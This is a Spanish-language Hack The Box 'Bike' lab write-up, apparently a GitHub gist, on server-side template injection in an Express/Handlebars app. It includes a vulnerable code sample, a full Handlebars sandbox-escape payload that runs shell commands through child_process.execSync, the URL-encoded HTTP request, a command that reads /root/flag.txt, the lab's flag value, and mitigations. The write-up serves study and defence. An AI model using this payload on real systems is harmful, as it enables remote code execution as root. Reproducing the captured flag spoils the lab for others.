Skip to content

Instantly share code, notes, and snippets.

@TechnoHacks181
Last active June 7, 2026 18:31
Show Gist options
  • Select an option

  • Save TechnoHacks181/f65a689f72c3b2c1a6388201b5cc6ab3 to your computer and use it in GitHub Desktop.

Select an option

Save TechnoHacks181/f65a689f72c3b2c1a6388201b5cc6ab3 to your computer and use it in GitHub Desktop.

HTB Bike — Writeup

Server-Side Template Injection (SSTI) → RCE en Node.js + Handlebars


1. Stack Tecnológico

Componente Valor
Runtime Node.js
Framework Express.js
Template Engine Handlebars (hbs)

Express por sí solo no tiene capacidades de templating — requiere un engine externo configurado por el desarrollador. La pregunta clave durante el reconocimiento no es "qué usa Node.js" sino "qué engine específico eligió el dev". Aquí: Handlebars.


2. Identificación de la Vulnerabilidad

Probe inicial

Se inyecta {{7*7}} en el campo email del formulario. El servidor responde con stack trace completo:

Error: Parse error on line 1:
{{7*7}}
--^
Expecting 'ID', 'STRING', 'NUMBER', 'BOOLEAN', 'UNDEFINED', 'NULL', 'DATA', got 'INVALID'
    at Parser.parseError (.../handlebars/compiler/parser.js:268:19)
    at Parser.parse (.../handlebars/compiler/parser.js:337:30)
    at HandlebarsEnvironment.parse (.../handlebars/compiler/base.js:46:43)
    at compileInput (.../handlebars/compiler/compiler.js:515:19)
    at ret (.../handlebars/compiler/compiler.js:524:18)
    at router.post (/root/Backend/routes/handlers.js:15:18)

¿Por qué {{7*7}} falla?

Handlebars no es un evaluador de expresiones aritméticas. A diferencia de Jinja2 o Twig donde {{7*7}} produce 49, en Handlebars el operador * es un token inválido — el parser explota antes de ejecutar nada.

Información extraída del stack trace

Campo Valor Significado
Engine handlebars Confirmado por el path del módulo
Root path /root/Backend/ Path absoluto del servidor
Archivo vulnerable routes/handlers.js:15 El input se pasa directamente al compilador
Usuario del proceso root Confirmado después vía RCE

El leak de stack trace es en sí mismo una misconfiguration grave. En producción los errores deben ser genéricos. Aquí nos regala el stack completo.


3. Análisis del Motor de Templates

Sintaxis válida vs otros engines

Engine Sintaxis Evaluación aritmética
Jinja2 {{ 7*7 }}
Twig {{ 7*7 }}
Handlebars {{ variable }} No
EJS <%= variable %>
Pug #{variable} No

¿Por qué Handlebars es vulnerable a SSTI?

La vulnerabilidad existe cuando el input del usuario se pasa directamente al compilador sin sanitización:

// routes/handlers.js ~línea 15 — código vulnerable
app.post('/', (req, res) => {
    const email = req.body.email;
    const template = handlebars.compile(email); // ← INPUT DEL USUARIO COMO TEMPLATE
    const result = template({});
    res.render('index', { email: result });
});

handlebars.compile() debería recibir un template hardcodeado, nunca input del usuario.


4. Desarrollo del Payload de RCE

Intento 1 — Payload básico (falla)

{{this.push "return require('child_process').exec('whoami');"}}

Error: ReferenceError: require is not defined

¿Por qué falla? Handlebars ejecuta el código generado dentro de un sandbox aislado vía new Function(...). En ese contexto, require no existe — no está expuesto en el scope del sandbox.

El sandbox de Handlebars

Objeto Disponible en sandbox
require No
process No (directamente)
global Sí — es el objeto top-level de Node.js

Solución — Acceso vía global

En Node.js, global engloba todo el scope global del runtime. La cadena de acceso:

global
  └── process
        └── mainModule
              └── require  ← aquí está require
global.process.mainModule.require('child_process').execSync('whoami').toString()

Payload final

El payload abusa del prototype chain de Handlebars para escapar el sandbox e invocar el Function constructor con código arbitrario:

{{#with "s" as |string|}}
  {{#with "e"}}
    {{#with split as |conslist|}}
      {{this.pop}}
      {{this.push (lookup string.sub "constructor")}}
      {{this.pop}}
      {{#with string.split as |codelist|}}
        {{this.pop}}
        {{this.push "return global.process.mainModule.require('child_process').execSync('whoami').toString()"}}
        {{this.pop}}
        {{#each conslist}}
          {{#with (string.sub.apply 0 codelist)}}
            {{this}}
          {{/with}}
        {{/each}}
      {{/with}}
    {{/with}}
  {{/with}}
{{/with}}

¿Cómo funciona?

Paso Qué ocurre
"s" como string literal Acceso a String.prototype
string.sub Referencia a String.prototype.sub
string.sub.constructor Obtiene Function — el constructor nativo de funciones JS
codelist Array usado como argumentos para Function()
this.push "return global..." Metemos nuestro código como cuerpo de la función
string.sub.apply(0, codelist) Invoca Function("return global.process.mainModule.require(...)")

Equivalente directo: new Function("return global.process.mainModule.require('child_process').execSync('whoami').toString()")()

La clave: String.prototype.sub.constructor === Function. Al invocarlo con código arbitrario, creamos y ejecutamos una función fuera del contexto restringido del sandbox.


5. Explotación vía Burp Suite

Flujo

  1. Burp Proxy con Intercept ON, enviar el formulario
  2. Send to Repeater (Ctrl+R)
  3. Pegar el payload en el campo email
  4. URL-encode del payload: seleccionar → clic derecho → Convert Selection > URL > URL-encode key characters
  5. Verificar que &action=Submit quede fuera del encode
  6. Send

Request — whoami

POST / HTTP/1.1
Host: 10.129.97.64
Content-Type: application/x-www-form-urlencoded

email={{%23with+"s"+as+|string|}}{{%23with+"e"}}{{%23with+split+as+|conslist|}}{{this.pop}}{{this.push+(lookup+string.sub+"constructor")}}{{this.pop}}{{%23with+string.split+as+|codelist|}}{{this.pop}}{{this.push+"return+global.process.mainModule.require('child_process').execSync('whoami').toString()"}}{{this.pop}}{{%23each+conslist}}{{%23with+(string.sub.apply+0+codelist)}}{{this}}{{/with}}{{/each}}{{/with}}{{/with}}{{/with}}{{/with}}&action=Submit

Respuesta:

We will contact you at: e2[object Object]function Function() { [native code] }2[object Object]root

El root al final es el output de whoami — el proceso corre como root.

Request — flag

Cambiar whoami por cat /root/flag.txt:

...execSync('cat+/root/flag.txt').toString()...

Flag: 6b258d726d287462d60c103d0142a81c


6. Kill Chain

Input sin sanitizar
       ↓
handlebars.compile(userInput)      ← vulnerability point
       ↓
Parser procesa el payload malicioso
       ↓
Prototype chain abuse: String.prototype.sub.constructor → Function
       ↓
new Function("return global.process.mainModule.require(...)")()
       ↓
Bypass del sandbox vía objeto `global`
       ↓
require('child_process').execSync('cat /root/flag.txt')
       ↓
RCE como root → flag

7. Mitigaciones

Vector Mitigación
Input del usuario como template Nunca pasar input a handlebars.compile() — los templates deben ser estáticos
Stack trace leak Deshabilitar errores verbosos en producción (NODE_ENV=production)
Proceso como root Correr el servidor con usuario sin privilegios (principio de mínimo privilegio)
Confianza en el sandbox El sandbox de Handlebars no es una medida de seguridad confiable — no usarlo como única defensa

8. Referencias

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment